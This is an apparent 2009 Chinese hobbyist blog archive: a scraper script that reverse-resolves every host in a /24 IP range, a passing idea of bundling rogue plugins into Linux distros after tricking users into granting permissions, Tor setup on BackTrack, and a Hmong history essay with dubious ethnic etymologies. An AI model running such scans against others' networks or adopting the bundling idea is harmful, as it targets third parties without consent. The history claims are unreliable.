天国之翼: 2009

2009年12月31日星期四

pythonwin 卡死崩溃解决方法（ActiveState ActivePython 2.6 (32-bit)）

scintilla.dll 版本太旧所以崩溃

下最新的替换

http://www.dlldll.com/getdll/17101.html

2009年12月29日星期二

[z]关于打包linux兼论debian系的盈利

关于打包linux兼论debian系的盈利
2009-08-19 23:09 最近看到雨林木风和新氧出来搞linux发行版，感觉不错
只是奇怪有些人鄙视惯了win系列所以提到雨林木风或者是新氧的时候总会说哦这不过是个打包而已，语气中备含轻蔑。
我想这些人可能忘记了ubuntu debian federo这些都是打包而已，只不过有些发行版比如debian自己弄了一套软件包系统而已这个似乎很牛逼可是ubuntu 这个我日常使用的也是差不多最受称赞的linux发行版并没有自己搞一套而是在debian上组织的所以 ubuntu干的也差不多就是国内的打包xp社区的事只不过呢 debian欢迎打包 xp不欢迎

所以我很早的时候就希望我最喜欢的深度这个社区来打包 linux 当然最好是基于debian了因为我实在是喜欢那个apt-get install 虽然速度不快但就是方便呀

然而俗话说无利不起早，这其实也是我写文章的一贯出发点，大家看我写的文章都可以看到我都会分析利益在哪里，当然这个利益不一定是金钱因为货币不是对于任何人都有激励作用的如比尔盖茨这种人多赚个几百万对他现在来说有何意义呢？扯开了我们接着来谈这个打包linux的问题

说到获利，大家都对番茄花园的那个有印象，搞捆绑流氓插件，理论上说 linux上也可以搞这些，因为我发现linux上自启动的东西也超级多另外关于权限只要第一次骗到放行就可以了之后建立个新用户给他赋予权限就是了不过呢一来这不是可持续发展的道路二来 linux界发行版太多现在还没打入就搞这种花花肠子不但没效果而且不利于继续进入市场三来 linux这边用户相对来说解决这种东西的能力强些就算有的用户解决不了也可以在其他用户出于获取他人肯定的目的下帮助其解决的

因此，我给这些打包Linux设计了新的获利方式：
我在这里的前提是这些打包版走的是 debian路线当然未必是基于debian 只是说要有类似 apt-get 这样的软件包管理系统.

1,高速账户收费服务，这个lupa就搞过，他们给免费的软件源有限速，只有交了钱才给你开放上百k的下载速度。我觉得这个思路是很好的，当然一定要搞包月制，在中国我觉得这是必须的，而且最好就是走腾讯的路子一个月10块钱绑定手机绑定手机的好处是碰到个别需要单个收费的大型软件比如不开源的adode的什么工具它愿意10块钱卖个正版给你玩玩那么这个时候 apt-get 会提示你这个软件是个收费的工具费用是人民币 10.00 如果你同意请按y ，而当你按了 y以后服务器那边会给你的手机发个支付吗你再把支付码填写到apt-get这里完成了支付验证于是软件开始下载安装而你的10元钱也会从手机上扣掉了.

2,还是接着1来，那么有的人不想付钱怎么办？不付钱可以开发东西来赚钱再支付嘛，这个就是软件商店的思路了，让他们去赚钱赚来的钱支付包月费用，那如果有人又不想付钱又没有开发能力怎么办呢？简单，用户的计算机就是很宝贵的资源，可以在用户的计算机端装个网格计算客户端，然后连上服务器去接计算任务赚钱，当然接之前要告知用户多少分钟内不可中断否则服务器那边可不付钱，用户这边也可以设置应划出多少cpu资源来参与计算就像p2p软件限制上传下载的速度一样可以防止影响自己的正常应用，因此那些 linux 打包商可以把网格计算的客户端内置到系统里并且自己运营一个服务器通过出售计算能力来获取盈利

3,与网络运营商合作，比如广电，我知道广电的网络是网内超级快，但是出口就慢死了这样的情况其实可以搞软件包这种的方式的因为用户在网内这种高速下载是可以优化缓存的 apt-get 现在最大的问题还在于网络速度如果网络速度能达到30MB/s以上，那么显然 apt-get是最好的软件管理方式。因此打包系统可以与网络运营商合作推出一些定制版这些定制版的软件安装是有网内缓存的因而速度极快这个对于用户来说是很好的体验

4，与内容供应商合作，事实上软件和娱乐内容如音频视频差不多所以软件既然可以 apt-get 那些音频视频为何不能呢？因此可以与那些批量买下内容版权的供应商合作，搞包月收费什么的参考第一条。就拿谷歌音乐来说完全可以搞这个嘛只是这样一来 google 的收入在哪里成了个问题

另：由于第4条，扯出个关于p2p网络电视平台的一些盈利问题这个我准备写一写，也算是给我的毕业论文做些补充。

又: 百度空间的功能实在是不看我肠子都悔青了

今天到此为止此文可转增深度与ubuntu社区看

http://hi.baidu.com/jyf1987/blog/item/7f03b5334021124aac4b5f06.html

2009年12月18日星期五

dns 逆向查询工具（dns reverse search bot）

#!usr/bin/python
# -*- coding: utf-8 -*-

# dns reverse search bot

# seeker:winger[FreeLight]
# free.winger@gmail.com
#google.com.com/group/freelala

#ex:mini-bot -c ip -t num just scan ip/24 by thread of num

#ex:mini-bot -o ip -t num just scan ip only by thread of num

import re,urllib,sys,getopt,thread
from time import sleep

from urllib import urlopen
result = open("./result2.txt","wb")
msg ="mini-bot -c ip -t num \nmini-bot -o ip -t num"
address_start = 1
address_stop = 256
address  = '210.34.5'
threadnum = 2
argc  = len(sys.argv)
if argc != 5 :
print msg
exit()
temp = sys.argv
print temp

pattern = re.compile(r'for (.*)')
#pattern2= re.compile(r'description">(.*)')

def web_thread(address_start,address_stop):

for n in range(address_start,address_stop):
  print address+str(n)
  content = urlopen(r"http://domainbyip.com/"+address+str(n))

  allurls = pattern.findall((content).read())

  if allurls:
   result.write('\n'+address+str(n))

   for url in allurls:
    print '\t\t'+url


    result.write('\n\t\t'+url)

  sleep(5)

for n in range(1,argc):
if sys.argv[n] == '-o':
  print '-o'
  addresslist = sys.argv[n+1].split('.')
  address  = addresslist[0]+'.'+addresslist[1]+'.'+addresslist[2]+'.'
  address_start = int(addresslist[3])
  address_stop = int(addresslist[3])+1
  threadnum = 1
  print address_start
  web_thread(address_start,address_stop)
  exit(0)
elif sys.argv[n] == '-c':
  addresslist = sys.argv[n+1].split('.')
  address  = addresslist[0]+'.'+addresslist[1]+'.'+addresslist[2]+'.'
  address_start = 1
  address_stop = 256
for n in range(1,argc):
if sys.argv[n] == '-t':
  print '-t'

  threadnum = int(sys.argv[n+1])
  print threadnum

print  address_start
print  address_stop
mutex=thread.allocate_lock()
num_thread = 255 / threadnum

print str(threadnum)+"s-------------------------------------"
for num in range(threadnum):
  print "ssss"
  if num != threadnum-1:
   print "111"
   address_start = num*num_thread+1
   address_stop = (num+1)*num_thread
   print address_start
  else:
   print "222"
   address_start = num*num_thread+1
   address_stop = 255
  thread.start_new_thread(web_thread,(address_start,address_stop))
raw_input()

2009年12月16日星期三

黑客月刊电子版 + 深度 XP 6.2

ftp://222.76.208.4/DEEPIN-LITEXP-6.2.iso|
http://19n.qupan.com/c19/rar/2009-9-7/21/www.qupan.com_125411_%e9%bb%91%e5%ae%a2%e9%98%b2%e7%ba%bf0909%e6%9c%9fPDF%e7%94%b5%e5%ad%90%e4%b9%a6.rar?vh1ysfu42jhm1fro210tflag=1261028315opin=b58512ab5eabbee15631b44be6f36265.rar|
http://22n.qupan.com/c23/rar/2009-11-16/11/www.qupan.com_1457490_%e4%bf%a1%e6%81%af%e6%b3%84%e9%9c%b2%e9%97%ae%e9%a2%98%e5%88%86%e6%9e%90%e4%b8%8e%e6%8e%a2%e7%a9%b6.rar?olc2hrfa0h45fxyr210tflag=1261028224opin=57e3fd0775572fa2d3242348a70f6297.rar|
http://22n.qupan.com/c22/rar/2009-10-27/22/www.qupan.com_19248_%e9%bb%91%e5%ae%a2X%e6%a1%a3%e6%a1%880911%e6%9c%9fPDF%e7%94%b5%e5%ad%90%e4%b9%a6.rar?qqiof545eyviksqt210tflag=1261028292opin=7e8ed173e61e9271179a87521ab60274.rar|
http://22n.qupan.com/c22/rar/2009-11-6/22/www.qupan.com_231871_%e9%9d%9e%e5%ae%89%e5%85%a8%e9%bb%91%e5%ae%a2%e6%89%8b%e5%86%8c0911%e6%9c%9fPDF%e7%94%b5%e5%ad%90%e4%b9%a6.rar?amjlatatsqu40w55210tflag=1261028230opin=d513cd4d365f87fc1b314891c1dc4892.rar|
http://19n.qupan.com/c21/rar/2009-12-11/16/www.qupan.com_2546139_%e9%9d%9e%e5%ae%89%e5%85%a8%e9%bb%91%e5%ae%a2%e6%89%8b%e5%86%8c0912%e6%9c%9fPDF%e7%94%b5%e5%ad%90%e4%b9%a6.rar?had1nw55aq0dsr33210tflag=1261028120opin=dac865a83b6297371a731d48094b7340.rar|
http://19n.qupan.com/c21/rar/2009-12-11/19/www.qupan.com_3456592_%e9%bb%91%e5%ae%a2%e9%98%b2%e7%ba%bf0912%e6%9c%9fPDF%e7%94%b5%e5%ad%90%e4%b9%a6.rar?ziedqw45cf1v2045210tflag=1261028098opin=0d217e4b2e665ef0e8bbdc62e9770686.rar|
http://22n.qupan.com/c22/rar/2009-11-6/20/www.qupan.com_4827684_%e9%bb%91%e5%ae%a2%e9%98%b2%e7%ba%bf0911%e6%9c%9fPDF%e7%94%b5%e5%ad%90%e4%b9%a6.rar?ksb122qat3z2dx45210tflag=1261028232opin=fa95d021754f27ceadcecb1ea9eb307c.rar|
http://19n.qupan.com/c21/rar/2009-9-26/22/www.qupan.com_5450338_%e9%bb%91%e5%ae%a2X%e6%a1%a3%e6%a1%880910%e6%9c%9fPDF%e7%94%b5%e5%ad%90%e4%b9%a6.rar?wswreb55e20ihlb1210tflag=1261028272opin=8f3e033d627c50b3fbe7966a1d439102.rar|
http://19n.qupan.com/c19/rar/2009-9-19/23/www.qupan.com_568406_%e9%9d%9e%e5%ae%89%e5%85%a8%e9%bb%91%e5%ae%a2%e6%89%8b%e5%86%8c0909%e6%9c%9f%e5%8a%a0%e5%8e%9a%e7%89%88PDF%e7%94%b5%e5%ad%90%e4%b9%a6.rar?e3fpnh45jh2ni145210tflag=1261028283opin=6bc0e89811cb75eddbede381f0124cf7.rar|
http://22n.qupan.com/c23/rar/2009-12-2/21/www.qupan.com_820854_%e9%bb%91%e5%ae%a2X%e6%a1%a3%e6%a1%880912%e6%9c%9f.rar?45vt5hz22zx0ion1210tflag=1261028179opin=ca23d94e84323eddfd0f9ab9e8de3127.rar|

Hmongol

Hmong族，实际上就是苗族，H不发音，念做“蒙”。Hmong是美国对老挝苗族的叫法。本来在美国，苗族也是用“MIAO”来表示，但是苗族人自己认为“MIAO”是汉人对他们的藐称，就好像白人叫黑人做Negro一样，他们称呼自己做“HMONG”。后来美国政策要求“政治正确”，如称黑人为“非洲裔美国人”，所以也改“MIAO”为“HMONG”。

美国的苗族人，大都来自老挝。老挝的苗族人，本来在山里狩猎为生，与世无争。美越战争期间，CIA秘密策动苗族人参加对北越的战争，老挝苗人成为美国的盟友，他们英勇善战，舍生忘死，为美国立下了汗马功劳，据统计，有超过4万苗族战斗人员在“秘密战争”死亡。但是在美国撤出越南之后，老挝苗人成了“被遗忘的战士”，老挝王室被推翻，人民革命党执政，大量苗族人遭到反攻倒算，被越南和老挝当局种族清洗屠杀，残余的人越过原始森林逃到泰国，过起颠沛流离的生活。由于当时美国根本不承认有过秘密战争，所以苗人全然无法从美国和国际社会得到帮助。并且一直在联合国的监督下重返家园，被遣返回国的苗人基本都被送到劳改营，并且大量死亡，所以没有苗人是愿意返回老挝的。美国政府承认秘密战争之前，对于联合国遣返苗族人的行动是首肯的。直到1997年，克林顿政府才开始承认“秘密战争”的存在，并开始将苗人难民安置到美国和其他西方国家。现在老挝苗人大都分布在加利福利亚、明尼苏达和威斯康星等地区。

老挝苗族人的祖先来自中国北方，跟我国苗族同宗，都奉蚩尤为他们的祖先。

传说蚩尤姓姜，是上古时代九黎族部落酋长，原为神农氏直系后裔炎帝的臣属，炎帝被黄帝击败后，蚩尤率八十一个兄弟（九黎当是九个部落的联盟，每个部落又包含九个兄弟氏族，共八十一个兄弟氏族。蚩尤是九黎族的首领，兄弟八十一人，即八十一个氏族酋长）举兵与黄帝在涿鹿展开激战，被黄帝所杀，后黄帝尊其为“兵主”，即战争之神。蚩尤勇猛的形象让人畏惧，黄帝把他的形象画在军旗上，用来鼓励自己的军队勇敢作战，诸侯见蚩尤像不战而降。后来人们为了歌颂黄帝，便丑化蚩尤，把他论为妖魔、邪神的形象。

蚩尤死后，九黎衰弱，但他们还据有黄河下游和长江中下游一带的广阔地区。到尧、舜、禹时期，他们又形成了新的部落联盟。这就是史书上说的“三苗”，又称为 “有苗”或“苗民”，后来又与禹发生战争，范文澜说“苗族被禹战败后，退出黄河流域，据战国时人说，三苗曾在长江中下游建立起一上大国。这个大国当是一个大的部落联盟，是许多部落的集合体，其中较大的是荆楚。”所以，他们是不断南迁。到商、周时期，“三苗”又被称为“荆楚”，有时也被称为“南蛮”。荆楚的社会经济日益发展，其中较先进的楚人，又被称为“荆蛮”。其后，荆蛮日渐强盛，发展成为春秋战国的“五霸”、“七雄”之一的楚国的主体居民和主体民族。可见，九黎、三苗、南蛮、荆蛮、苗族之间有着一脉相承的渊源关系，而且都包括苗族先民，后者是前者的苗裔。

另外，蚩尤也是中国南方许多少数民族的祖先。除了苗族以外，还有黎族、瑶族、畲族等少数民族。这就是说九黎、三苗、南蛮，不仅是苗族的先民，而且也是黎族、瑶族、畲族和南方其他一些少数民族的先民。同时，苗族在古代多次迁徙过程中，包括南迁和西迁的过程中，逐渐演化为若干民族，只有一部分仍保持着苗族的称谓。
　　蚩尤也是北方羌族的先祖。《后汉书・西羌传》说：“西羌之本出自三苗，羌姓之别也。其国近南岳。及舜流四凶，徙之三危，河关之西羌地是也。”据史料记载，姜姓就是西北一带原来的姜族，后来称为羌，以后逐渐南迁和西迁。所以，北至现在的青海，西至现在的西藏，南至现在的四川、贵州、云南，都有羌族人民居住。羌族西迁到西藏的人自称为“乌斯藏”，乌斯就是乌氏，藏就是羌，乌斯藏就是乌氏羌的统称。他们又称为“西藏”，实际上西藏就是西羌。这就可以证明，现在的藏族，也是羌族和乌族相互融合而成的。其中也有苗族。羌族向南迁的，到四川的与当地的表族融合叫青羌，一部分羌族向南迁的，到四川的与当地的青族融合后叫青羌，一部分再由四川迁到贵州、云南。现在贵州西部的羌族，他们的公开族号为羌，而族人间仍自称为苗。云南的羌族，其来源与贵州西部的羌族大致相同，公开的族号为羌，族人间仍自称为苗。由此可见，羌族也是九黎、三苗的后裔。

苗族曾经自称“牡”、“蒙”、“摸”、“毛”，有的地区自称“嘎脑”、“果雄”、“带叟”、“答几”等。在湘西地区的苗族称“仡熊”(果熊)。“猛”或“ 蒙”，在黔东南苗语意为“树心”，传说枫树心生“妹榜妹留”(蝴蝶妈妈)，“妹榜妹留”才生苗族远祖“姜央”，故把“猛”或“蒙”作族称。“嘎闹”，意为乌，或许是古代乌氏族图腾的遗迹。历史上，曾按其服饰、居地等方面的不同，在“苗”字前面冠以不同的名称，如“长裙苗”、“短裙苗”、“红苗”、“白苗 ”、“青苗”、“花苗”等。新中国成立后统称为苗族。

苗族有自己的语言，苗语分三大方言：湘西、黔东和川黔滇。1956年后，设计了拉丁字母形式的文字方案。由于苗族与汉族长期交往，有很大一部分苗族兼通汉语并用汉文。
芦笙是苗族最具代表性的乐器，相传在苗族的祖先神告且和告当的古远时代就出现了。告且和告当造出日月后，又从天公那里盗来谷种撒到地里，可惜播种的谷子收成很差，为了解忧，一次告且和告当从山上砍了六根白苦竹扎成一束，放在口中一吹发出了奇特的乐声。奇怪的是，地里的稻谷在竹管吹出的乐声中，长得十分茂盛，当年获得了大丰收。从此以后，苗家每逢喜庆的日子就吹芦笙。另外，芦笙不仅是一种单纯的民族乐器，而且是苗族男女青年成婚的重要"媒介"。通过它能使豆蔻年华的青年，互相了解，产生爱慕，结为伉俪。每当风清月夜，有情的小伙子手捧心爱的芦笙吹一首婉转悠扬的爱情曲，姑娘们闻声，就心领神会，以清脆的歌声相对，这种恋爱方式，外行人是听不懂的，内行人，一听自明。因此，芦笙在苗族人民心目中是神圣的，珍贵的，家离不开它。芦笙被苗族人民视为密友良伴，苗家男子人人会吹，女子个个能舞。每逢劳动之余或婚嫁喜庆之日，都要吹奏芦笙和跳芦笙舞，逢年过节时，数十支甚至上百支芦笙齐鸣，雄壮而洪亮的乐声十余里外都清晰可闻。在苗家，每年都要举行几次盛大的芦笙节(苗语称基别，为汉语爬高坡之意)。在芦笙盛会里，尤以凯里国际芦笙节最为壮观，它集民族风情之精华，以“百牛争霸”、“千对银角”、“万把芦笙”的缤纷壮观场面，融民族文化、体育、饮食、工艺为一体，成为中外芦笙文化交流的盛会，招商引资、发展经济的大舞台。从1999年8月28日首届国际芦笙节成功举办以来，已成为人们观注的焦点。
　　祭鼓节是苗族最大的祭祀活动。十二年一大祭，六七年一小祭。传说，人类的妈妈“妹榜妹留”是从枫树的树心里生出来的，他们死后还要回到枫树里去，人死后灵魂也要回到老家去才得安息。祖宗的老家在树心里，木鼓就是象征祖宗安息的地方。后来祭祖，“祭祖”喊成了“祭鼓”了。沿袭到现在祭鼓就是祭祖了。祭鼓是以“缰略”为单位举行的，一个“缰”是一个始祖传下来的有血缘关系的亲族，他们共同敬奉一个认为祖宗的灵魂住在里面的木鼓。祭鼓节那天，每家准备一头水粘牛，也可以几家准备一头，或买些牛肉。先放牛角斗，几百头牛一起角斗，场面是很壮观的，然后再宰杀敬供。按习惯，不论是来庆贺的亲友，还来看斗牛的客人、过路的商贩，一律留下，不准走，人越多，主人脸上越光彩。

Hmong族移居老挝大约发生在18-19世纪初。他们主要是由越南进入。根据迁移的代数来算，迁往老挝的那部分Hmong族在越南停留的时间并不长，也许只是从那里经过而已。与在越南一样，他们一来就进驻山顶地带，在那里不会发生与低地佬族人之间的对抗。一般来说，Hmong族宁愿向更遥远的地方去寻找耕地，也不愿意与其他族群发生土地的争执，特别是作为一个外来者的身份，使他们从一开始就容易陷入被动。尽管如此，他们刚迁人老挝时，还是同山区土著的克木人发生了争夺土地的冲突。最后是Hmong族从中国带来的火枪使他们占据了优势，击败了以砍刀和硬弩为武器的原住民。从此，两个民族达成了和平妥协，成为睦邻。

由此，Hmong族人与中国北方人面容基本一致，却生活在热带雨林中。他们到了北美，从外表也看不出与中国北方人的区别。但是，他们却丝毫没有中国人的文化特征。因为从五千年前的失利后，他们就顽强的拒绝着儒家文化。现在美国的老挝苗族人，是老挝人，不是中国人。

2009年12月14日星期一

bt4(Back Track 4) 下 tor 代理以及 tscoks dante-client 配置

seeker:winger
安装看
http://freewinger.blogspot.com/2009/12/bt4backtrack-4-pre-releasetor.html

以下配置都是以本地假设 tor 为基础代理端口为9050
如果你用别的代理地址和端口请自己改掉

说下转换代理协议的方法
widnows下一般用sockcap32
linux下我找了2个tsosks dante-client
tsocks 目前运行的比较稳定(bt4下默认安装了)

sudo apt-get install tsocks

vi /etc/tsocks.conf

找到最后
把server 和port 分别改成代理的地址和端口
tor 一般都是本地而且不需要密码
server = 127.0.0.1

server_type = 5

server_port = 9050

好了以后运行要代理的程序
$. tsocks opera

记得命令行最前面有个.

------------------------------

dante-client 配置
sudo apt-get install dante-client

vi /etc/dante.conf

最后增加下面内容

route {
    from: 0.0.0.0/0 to: 218.85.152.99/32 port = domain via: direct
}

route {
    from: 0.0.0.0/0   to: 0.0.0.0/0   via: 127.0.0.1 port = 9050
    protocol: tcp udp
    proxyprotocol: socks_v4
    method: none
}

dante的配置好像有问题
有时候能链接上有时候会调整个代理都掉不知道什么原因

BT4(BackTrack 4 Pre Release)Tor安装及使用

先安装TOR
由于9.04官方源中没有tor了，所以只能自行添加源
vi /etc/apt/sources.list

deb http://mirror.noreply.org/pub/tor etch main
deb-src http://mirror.noreply.org/pub/tor etch main

添加密钥
[bash]gpg --keyserver keys.gnupg.net --recv 94C09C7F
gpg –export 94C09C7F | sudo apt-key add -[/bash]
然后执行
[bash]sudo apt-get update
sudo apt-get install tor privoxy[/bash]
使用你最喜欢的编辑器打开 /etc/privoxy/config 文件，在最前面加上下面这一行（别漏了那个不起眼的“.”）：

forward-socks4a / localhost:9050 .

保存修改了的 /etc/privoxy/config 文件。
重新启动 privoxy 服务
[bash]sudo /etc/init.d/privoxy restart[/bash]
FoxyProxy下载地址

https://addons.mozilla.org/zh-CN/firefox/addon/2464

安装完后，重启Firefox
打开FoxyProxy选项[工具-附加组建-FoxyProxy-首选项] 或者双击 Firefox 状态栏上的 FoxyProxy 图标打开设置选项（快捷键 Ctrl+F2）,点击文件 -> 新建代理服务器，在“常规”选项卡中勾选“启用”，Proxy Name 可任意填写，这里以 tor 为例输入：Tor。

然后点击“代理服务器细节”选项卡，勾选“手动配置代理服务器”，输入 HTTP代理服务器地址：127.0.0.1 端口：9050

点击“URL模板”选项卡，添加新模板，“模板名称”输入：blogspot，“URL 或 URL 模板”内输入： *.blogspot.com/* ，意思是匹配 blogspot.com 所有子域和页面，确认已经勾选白名单和通配符。

Step1: 获取网桥地址

用你的gmail帐号发送主题和内容为”get bridges”的邮件至bridges@torproject.org

Step2: 配置Tor网桥

首先，备份原Tor配置文件torrc至备份目录:

sudo cp -p /etc/tor/torrc your-backup-directory

然后在torrc配置文件末尾添加”UseBridges 1“开关选项(默认是0, 即关闭状态)，

UseBridges 1

注意：HOLY JOE’S BLOG 中该字段写的是“UserBridges 1” 经测试应该是笔误，将“Use”写成了“User”

最后，将bridges@torproject.org回复邮件中的bridge列表附加至torrc配置文件末尾，请按回复邮件中的bridge的原有格式添加，即:

bridge ip:port fingerprint

上述两篇博客中谈到的邮件中有fingerprint字段，我收到的邮件中没有，但是测试后发现同样有效

Step3: 重启Tor和Privoxy

sudo /etc/init.d/tor restart
sudo /etc/init.d/privoxy restart

还有个
dante-client 和 tsock的
可以实现 sockcap32功能

2009年12月7日星期一

BT4(BackTrack 4 Pre Release)汉化和输入法设置

seek:winger[FL]
终于成功了！！！！！！！！！！！！！！！！！！！！！！！！！

艰辛啊！！！
下中文包
一：中文环境
root@richard-laptop:~# apt-get install language-support-zh python-central python-apt

root@richard-laptop:~# dpkg-reconfigure locales
root@richard-laptop:~# locale
root@richard-laptop:~# vi /etc/environment
root@richard-laptop:~# cat /etc/environment

PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"
LC_ALL="zh_CN.UTF-8"
LANG="zh_CN.UTF-8"
LANGUAGE="zh_CN.UTF-8:zh:en_US:en"

二：安装输入法
我卡这N久最后用小企鹅成功了
如果你送入法已经乱七八糟了什么都不行了那就都卸载调
apt-get purge ibus scim skim im-switch

然后干干净净的安装

1、安装语言包

apt-get install kde-i18n-zhcn

文泉驿字体

apt-get install xfonts-wqy

2、恢复tab补全

修改 /etc/bash.bashrc

把下面3行前的#注释去掉

if [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi

2、输入法fcitx

apt-get install fcitx

在/etc/X11/Xsession.d/目录下新建一个文件92fcitx，内容如下：

export LANG=”zh_CN.UTF-8″ #设置中文locales，如果不设，fcitx启动后乱码，不能使用。

export XIM_PROGRAM=fcitx

export XIM=fcitx

export XMODIFIERS=”@im=fcitx”

fcitx&

重启成功了！

提示:/etc/alternatives/ /etc/X11/xinit/xinput.d 这2个文件夹下面的东西就是折腾用的如果你删除了什么东西这下面最好也删除下

三：娱乐环境
默认 firefox 已经可以很流畅的看 flash网站了 YOUKU什么都没问题
mplayer 自带

apt-get install audacious

记得声音和图像看不到的时候要去工具属性里看看因为他的通道有很多个有时候换个就能用了！！

QQ用官方的虽然非常丑我还是忍了我X 估计是 kde 的效果 G下面我记得很好看的

wget http://dl_dir.qq.com/linuxqq/linuxqq_v1.0.2-beta1_i386.deb
dpkg -i linuxqq_v1.0.2-beta1_i386.deb

FU K一下现在发现hiweed 怎样的整理版还是需要的配置的肯定会更好
装B的都可以去死了天天折腾系统的估计都是 “跳来跳去的人” 也可以去死了

游戏貌似很多都能完红警直接就可以玩帝国时代3 缺少个 MSXM 以后再搞 MATOL居然也能运行！

希望以后别再折腾细枝末节了太浪费时间了！好好搞技术！！！

2009年12月6日星期日

BT4(BackTrack 4 Pre Release)硬盘安装记录！(on windows)

seeker:winger

1：Down

http://www.remote-exploit.org/cgi-bin/fileget?version=bt4-prefinal-iso (1.39G)

解压缩文件到C盘根目录

2:修改C盘引导（如果你系统装在C盘，不是的话下面的过程都以你的系统盘为基础）

解压bt3 bt4 C盘启动专用GURB for DOS.rar

取消C盘下boot.ini 文件只读属性

把grub隐藏文件夹下面所有文件放C盘下

其中有个boot.ini隐藏文件

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect /usepmtimer
c:\grldr="BackTrack"

3:重启安装

重启以后进入命令行默认是root

umount -l /cdrom (卸载光驱这步非常重要他默认把C盘当光驱加载了如果不卸载掉就认识不到分区)

startx 启动桌面

点击 install.sh

4:安装完成以后

最好已root登录否则你声音什么的很多用不了

2009年12月2日星期三

Windows下Python自动补全

Python Alternative Readline

http://newcenturycomputers.net/projects/download.cgi/Readline-1.7.win32-py2.5.exe
http://newcenturycomputers.net/projects/readline.html

Python 2.5.1 (r251:54863, Apr 18 2007, 08:51:08) [MSC v.1310 32 bit
(Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
Alternative ReadLine 1.7 -- Copyright 2001, Chris Gonnerman
>>> import readline
>>> import rlcompleter
>>> readline.parse_and_bind("tab: complete")

这样按Tab键就可以自动补全了。
这下方便多了

在
X:\Python25\Lib\site-packages\readline.py
最后一行增加
import rlcompleter
readline.parse_and_bind("tab: complete")
这样启动命令行启动python.exe时就可以直接用自动补全了

http://hi.baidu.com/aztack/blog/item/83525a82ef8e3bab0cf4d2cd.html

Hiweed Deepin 发布！！！！！！！！！！！！！！！！！！！！！1

http://linux.deepin.org/
http://www.hiweed.com/
wo ca 等了老久了今天赶紧试用下！
Linux Deepin
首页下载
下载 LinuxDeepin 看看再说欢迎来到 LinuxDeepin 网站
LinuxDeepin (简称 Deepin)由原先的 Hiweed Linux 项目更名而来；原项目不再继续。

开发团队

目前主要开发者仍为 Hiweed (冷罡华)，另有一个测试小组(Snd，斑鸠)。"饭团"是我们的美工，网站和 Logo
的设计都是他的杰作。将来我们会组建一个小团队，一起为 LinuxDeepin 项目工作。

开源承诺

LinuxDeepin 是在 Ubuntu 软件仓库的基础上开发的，源代码全部公开，可以在 http://packages.deepin.org 下载到。

发布周期

我们会每年发布两个版本，分别是每年的 6 月 30 日和 12 月 30 日。

版本号

所发布的版本号为："年.月"，比如 9.12, 10.6 等等。

版本代号

为了避免混乱，我们不会为每个版本命名一个发布代号，而是将沿用 Ubuntu 的代号，比如 LinuxDeepin 9.12 是基于
Ubuntu 9.10 Karmic，所以我们的 9.12 也用 Karmic 做代号。

欢迎试用 LinuxDeepin 9.12 Beta1
经过 5 个内部 alpha 版本的反复测试(感谢内部测试小组成员 Snd、斑鸠的努力)，LinuxDeepin 9.12 Beta1 终于发布了。

主要特性
----轻量级
我们对软件的选择，经过精挑细选、再三斟琢。软件既要轻量级，又要好用。

----易用
许多地方都进行过精心调整（比如"开始菜单"），目的就是让您用着舒服。

----够用
在 700M 的光盘容量下，提供了尽可能多的常用软件，比如 OpenOffice。

定制内容
----安装更简单
专门定制的安装器，只需要人工干预两个步骤(分区、创建用户)，并精简了安装后期的步骤。

----上网更快
默认关闭 IPv6，提高域名解析速度

----上网更方便
Firefox 浏览器经过精心打造：

去掉了不常用的搜索引擎，添加了 Baidu、Bing
提供 DownThemAll 扩展，用于多线程下载（断点续传）
提供 ScreenGrab 网页截图工具，方便截取超过屏幕尺寸的网页
提供 DownloadHelper 视频下载工具，可以从各种视频网站下载视频
提供 TabMixPlus 标签管理工具，提高上网体验
提供"搜狗云输入法"的书签，体验流畅输入（本文就是用"搜狗云输入法"撰写的）
提供 WebQQ 书签、Meebo 书签（用于从网页上聊 MSN）
提供 Adobe Flash Player 10
提供 Microsoft Silverlight 播放器
----专门设置的快捷键

添加了以下快捷键，以方便您的操作(部分快捷键是为了照顾 Windows 用户习惯)：

Win+E 打开"资源管理器"(Thunar)
PrintScrn 屏幕截图(全屏幕)
Alt+PrintScrn 屏幕截图(当前窗口)
Ctrl+PrintScrn 屏幕截图(鼠标所选部分)
Win+L 锁定屏幕
Win+R 运行...
Win+T 打开终端
Ctrl+Alt+Del 锁定屏幕
----实用工具

为了让您用着舒服，该版本提供了几个小工具：

jy 命令：用于解压各种格式的压缩包
apt 命令：整合 apt-get、aptitude、apt-cache 等命令，不必再记忆太多参数组合
Windows 分区挂载设置工具：可以扫描 Windows 分区，实现开机自动挂载、关机自动卸载 Windows 分区
在文件管理器 Thunar 中的任意目录下，点右键可以"从这里打开终端"
在文件管理器 Thunar 中的任意文件上，点右键可以将文件压缩，也可以计算文件的 MD5 值
从屏幕右下角可以"卸载"U 盘等移动设备，无须手工卸载
----中文相关
输入法：ibus 拼音、五笔
字体：文泉驿正黑，文鼎宋体，文鼎楷体
----其它软件

办公软件

OpenOffice 文字
OpenOffice 电子表格
OpenOffice 演示
OpenOffice 图画

多媒体

Gnome Mplayer 媒体播放器（带有各种解码器，音乐、视频都用它）
Brasero 光盘刻录工具
ISO Master 光盘镜像编辑工具
录音机

图形图像

MtPaint 画图工具
GPicView 图片查看器
屏幕截图工具

网络程序

Grdc 远程桌面客户端
MLDonkey 电驴下载工具
Pidgin 互联网通信工具
Sylpheed 邮件客户端
Transmission BT 下载工具

游戏

Same GNOME（挺好玩！一堆球在转，你一点，就消失了）
俄罗斯方块
纸牌

其它程序

Geany, 一个轻量级 IDE，很棒的编辑器
emelFM2, 有点像 Total Commander，虽然功能不是很强，毕竟是个有两个 Panel 的文件管理器
Evince，文档阅读器，支持 PDF、djvu、Postscript、tiff、dvi 格式的文档
已知问题
----安装器的"步骤"数目问题

安装器显示的"步骤"总数可能和实际数目不符，这是来自上游的 bug。

----有的软件，界面还是英文
我们精心挑选的软件中，有的还没有翻译成中文。后续我们会做翻译工作。

----输入法问题
五笔输入法虽然已经安装，但是需要手工调出来。
方法：在屏幕右下角的输入法图标上点鼠标右键，选"首选项"，打开"IBus
设置"窗口。点"输入法"标签，"选择输入法"-->"汉语"-->"五笔 86"，点"添加"。

----Wubi 安装问题
